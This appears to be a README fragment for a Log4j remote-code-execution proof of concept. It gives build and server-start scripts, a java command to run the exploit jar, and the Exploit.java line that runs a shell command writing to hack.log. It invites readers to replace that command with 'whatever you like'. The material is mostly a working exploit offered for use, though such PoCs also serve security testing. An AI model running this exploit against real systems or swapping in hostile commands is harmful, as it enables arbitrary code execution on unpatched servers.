./build.sh
./start-log4j-rce-server.sh
- Run
java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j
Check if you get logs in hack.log from current folder - You can change this line
String[] cmds = { "sh", "-c", "echo 'Exploit at '" + getDateString() + " >> ./hack.log" };
in fileapache-log4j-poc/src/main/java/Exploit.java
to whatever you like then rebuild and run test - Check out issue #1 if you see maven compile error